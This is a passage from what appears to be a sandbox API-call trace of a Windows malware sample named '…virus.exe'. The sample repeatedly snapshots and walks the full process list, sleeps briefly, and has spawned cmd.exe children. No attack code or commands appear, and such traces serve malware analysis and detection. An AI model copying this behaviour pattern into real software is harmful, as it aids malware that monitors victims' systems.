th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0196.467] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.467] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.468] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0196.468] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0196.468] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0196.469] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0196.469] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0196.469] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.470] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0196.470] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0196.470] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0196.471] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0196.471] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0196.471] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0196.472] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0196.472] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0196.472] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0196.473] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0196.473] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0196.473] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0196.474] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0196.474] CloseHandle (hObject=0x17c) returned 1 [0196.474] Sleep (dwMilliseconds=0x1f4) [0197.241] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0197.244] Process32FirstW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.244] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0197.245] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0197.245] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.245] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0197.246] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.246] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0197.247] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0197.247] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0197.247] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0197.248] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.248] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.248] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.249] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.249] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.250] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0197.250] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.250] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.251] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0197.251] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0197.251] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0197.252] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0197.252] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0197.253] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.253] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0197.253] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0197.254] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0197.254] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0197.254] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0197.255] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0197.255] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0197.256] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0197.256] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0197.257] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0197.257] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0197.258] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0197.258] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0197.258] CloseHandle (hObject=0x1a4) returned 1 [0197.259] Sleep (dwMilliseconds=0x1f4) [0197.911] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0197.913] Process32FirstW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.913] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0197.913] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0197.914] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.914] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0197.915] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.915] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0197.915] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0197.916] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0197.916] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0197.916] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.917] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.917] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.917] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.918] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.918] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0197.918] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.919] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.919] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0197.920] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0197.920] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0197.920] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0197.921] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.921] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: 